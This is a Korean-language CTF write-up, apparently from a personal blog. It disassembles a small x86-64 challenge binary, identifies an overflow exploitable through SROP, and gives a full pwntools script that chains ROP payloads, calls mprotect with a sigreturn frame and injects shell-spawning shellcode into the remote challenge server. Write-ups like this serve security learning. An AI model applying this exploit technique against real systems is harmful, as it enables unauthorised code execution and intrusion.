728x90
반응형
1. intro
세컨드 블러드으으으으으!!!
2. code 및 분석
2.1. code
0000000000401000 <_start>:
401000: bf 01 00 00 00 mov $0x1,%edi
401005: 48 be 00 20 40 00 00 movabs $0x402000,%rsi
40100c: 00 00 00
40100f: ba 37 00 00 00 mov $0x37,%edx
401014: b8 01 00 00 00 mov $0x1,%eax
401019: 0f 05 syscall
40101b: 48 31 c0 xor %rax,%rax
40101e: 48 c7 c3 ff ff ff ff mov $0xffffffffffffffff,%rbx
401025: e8 21 00 00 00 call 40104b <confirm>
40102a: 48 85 c0 test %rax,%rax
40102d: 74 05 je 401034 <exit>
40102f: e8 66 00 00 00 call 40109a <loop>
0000000000401034 <exit>:
401034: bf 00 00 00 00 mov $0x0,%edi
401039: b8 3c 00 00 00 mov $0x3c,%eax
40103e: 0f 05 syscall
401040: 48 89 04 25 00 00 00 mov %rax,0x0
401047: 00
401048: ff cb dec %ebx
40104a: c3 ret
000000000040104b <confirm>:
40104b: 55 push %rbp
40104c: 48 89 e5 mov %rsp,%rbp
40104f: 48 83 ec 10 sub $0x10,%rsp
401053: bf 01 00 00 00 mov $0x1,%edi
401058: 48 be 37 20 40 00 00 movabs $0x402037,%rsi
40105f: 00 00 00
401062: ba 10 00 00 00 mov $0x10,%edx
401067: b8 01 00 00 00 mov $0x1,%eax
40106c: 0f 05 syscall
40106e: bf 00 00 00 00 mov $0x0,%edi
401073: 48 8d 75 f0 lea -0x10(%rbp),%rsi
401077: ba 08 00 00 00 mov $0x8,%edx
40107c: b8 00 00 00 00 mov $0x0,%eax
401081: 0f 05 syscall
401083: 48 31 c0 xor %rax,%rax
401086: 48 8b 45 f0 mov -0x10(%rbp),%rax
40108a: 3c 79 cmp $0x79,%al
40108c: 74 05 je 401093 <valid>
40108e: 48 31 c0 xor %rax,%rax
401091: eb 05 jmp 401098 <return>
0000000000401093 <valid>:
401093: b8 01 00 00 00 mov $0x1,%eax
0000000000401098 <return>:
401098: c9 leave
401099: c3 ret
000000000040109a <loop>:
40109a: 55 push %rbp
40109b: 48 89 e5 mov %rsp,%rbp
40109e: 48 83 ec 30 sub $0x30,%rsp
4010a2: 48 8d 7d d0 lea -0x30(%rbp),%rdi
4010a6: e8 66 00 00 00 call 401111 <read_input>
4010ab: 41 b8 21 00 00 00 mov $0x21,%r8d
00000000004010b1 <repeat>:
4010b1: 48 8d 7d d0 lea -0x30(%rbp),%rdi
4010b5: 4c 89 c6 mov %r8,%rsi
4010b8: ba 21 00 00 00 mov $0x21,%edx
4010bd: e8 0c 00 00 00 call 4010ce <write_string>
4010c2: 49 ff c8 dec %r8
4010c5: 75 ea jne 4010b1 <repeat>
4010c7: 48 31 c0 xor %rax,%rax
4010ca: c9 leave
4010cb: 88 f8 mov %bh,%al
4010cd: c3 ret
00000000004010ce <write_string>:
4010ce: 57 push %rdi
4010cf: 56 push %rsi
4010d0: 52 push %rdx
4010d1: 48 29 f2 sub %rsi,%rdx
4010d4: 48 01 fe add %rdi,%rsi
4010d7: bf 01 00 00 00 mov $0x1,%edi
4010dc: b8 01 00 00 00 mov $0x1,%eax
4010e1: 0f 05 syscall
4010e3: 48 8b 74 24 10 mov 0x10(%rsp),%rsi
4010e8: 48 8b 54 24 08 mov 0x8(%rsp),%rdx
4010ed: b8 01 00 00 00 mov $0x1,%eax
4010f2: 0f 05 syscall
4010f4: 48 be 5c 20 40 00 00 movabs $0x40205c,%rsi
4010fb: 00 00 00
4010fe: ba 01 00 00 00 mov $0x1,%edx
401103: b8 01 00 00 00 mov $0x1,%eax
401108: 0f 05 syscall
40110a: 48 31 c0 xor %rax,%rax
40110d: 5a pop %rdx
40110e: 5e pop %rsi
40110f: 5f pop %rdi
401110: c3 ret
0000000000401111 <read_input>:
401111: 57 push %rdi
401112: bf 01 00 00 00 mov $0x1,%edi
401117: 48 be 47 20 40 00 00 movabs $0x402047,%rsi
40111e: 00 00 00
401121: ba 15 00 00 00 mov $0x15,%edx
401126: b8 01 00 00 00 mov $0x1,%eax
40112b: 0f 05 syscall
40112d: 5e pop %rsi
40112e: bf 00 00 00 00 mov $0x0,%edi
401133: ba 4d 01 00 00 mov $0x14d,%edx
401138: b8 00 00 00 00 mov $0x0,%eax
40113d: 0f 05 syscall
40113f: 48 31 c0 xor %rax,%rax
401142: c3 ret
2.2. 분석
프로그램이 시작되면 y / n 입력을 받고, y 가 입력되면 loop 함수를 실행시키며 n 가 입력되면 exit 함수가 실행된다.
loop 함수 내에서는 다시 read_input 함수를 호출하며, 0x14d 만큼 입력을 받는다.
또한 loop 함수 내에서 repeat 함수가 연속으로 실행되는데, 여기서는 특정 문자열을 출력해준다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
Overflow로 인한 SROP.
3.2. 공격 준비
주요 취약점은 srop 인데, 모든 syscall 이후에는 eax 값을 0이나 1로 바꿔버리기 때문에 eax 컨트롤이 주요 사항이다.
유일하게 eax에 영향을 주는 어셈블러 코드는
4010cb: 88 f8 mov %bh,%al
4010cd: c3 ret
한군데이다.
결국 bh를 컨트롤해야 al도 컨트롤할 수 있다는 이야기.
이제 bh = al과 같으니 bh를 컨트롤할 수 있는 부분을 찾아보면
4010cb: 88 f8 mov %bh,%al
4010cd: c3 ret
한군데이다.
즉, 이를 여러번 돌려서 원하는 bh 값을 만든 뒤 al에 넣어서 syscall 하면 된다.
4. exploit
로되리안 걸려서 엄청 고생했다.
가장 큰 문제가 페이로드가 반복해서 전달되어야하는데, 잘 전달되지 않는다는 부분이었다.
그래서 하나하나 다시 시도하다보니 read의 크기를 선언해준만큼 모두 값을 전달해야 제대로 실행되는 것을 알 수 있었다.
여기서 개고생했다.
아래 페이로드에서도 볼 수 있듯, 중간중간 write(1, 0x40400, 8)을 통해 값을 출력토록 하였으며, 이 값이 제대로 리턴되면 다음 페이로드를 전달하도록 만들었다.
from pwn import *
#p=process('./loop')
p=remote('0.cloud.chals.io', 16672)
p.sendlineafter(b': ',b'y')
pay = b'A'*8*6
pay += p64(0x404008)
pay += p64(0x40110d)
pay += p64(0xfff)
pay += p64(0x00000000404000)
pay += p64(0)
pay += p64(0x401138)
pay += p64(0x4010ca)
pay += p64(0x404000)
pay += b'A'*(0x14c-len(pay))
p.sendlineafter(b'? ',pay)
for i in range(33):
p.recvuntil(b'\n')
print('pay1 done')
for i in range(136):
pay = (b'B'*7 + b'\n')
pay += p64(0x404008)
pay += p64(0x401043)*453
pay += p64(0x40110d)
pay += p64(0x8)
pay += p64(0x00000000404000)
pay += p64(1)
pay += p64(0x401103)
pay += p64(0xfff)
pay += p64(0x00000000404000)
pay += p64(0)
pay += p64(0x401138)
pay += p64(0x4010ca)
pay += p64(0x404008)
pay += b'A'*(0xffe-len(pay))
p.sendline(pay)
p.recvuntil(b'BBB\n')
print(i,'done')
print('pay1 done')
context.arch = "amd64"
frame = SigreturnFrame(arch="amd64")
frame.rax = 0xa
frame.rdi = 0x404000
frame.rsi = 0x1000
frame.rdx = 0x7
frame.rsp = 0x404f88
frame.rip = 0x40113d
pay2 = b'C'*0x7 + b'\n'
pay2 += b'A'*(0xe80-len(pay2))
pay2 += p64(0x4010cb)
pay2 += p64(0x40113d)
pay2 += bytes(frame)
pay2 += p64(0x40110d)
pay2 += p64(0x8)
pay2 += p64(0x00000000404000)
pay2 += p64(1)
pay2 += p64(0x401103)
pay2 += p64(0x100)
pay2 += p64(0x00000000404000)
pay2 += p64(0)
pay2 += p64(0x401138)
pay2 += p64(0x404000)
pay2 += p64(0x404000)
pay2 += b'A'*(0xffe-len(pay2))
print(hex(len(pay2)))
pause()
p.sendline(pay2)
p.recvuntil(b'C\n')
print('pay2 done')
shellcode = asm(shellcraft.sh())
shellcode += b'\x90'*(0xff - len(shellcode))
p.sendline(shellcode)
p.sendline('id')
p.interactive()
728x90
반응형
'CTF > Solved' 카테고리의 다른 글
Dreamhack CTF Season 3 Round #2 (🌱Div2) - awesome-basics (0) | 2023.04.22 |
---|---|
Dreamhack CTF Season 3 Round #2 (🌱Div2) - ex-reg-ex (0) | 2023.04.22 |
24@CTF '23 - oven (0) | 2023.04.17 |
LA CTF 2023 - crypto / rolling in the mud (0) | 2023.02.13 |
LA CTF 2023 - crypto / one-more-time-pad (0) | 2023.02.13 |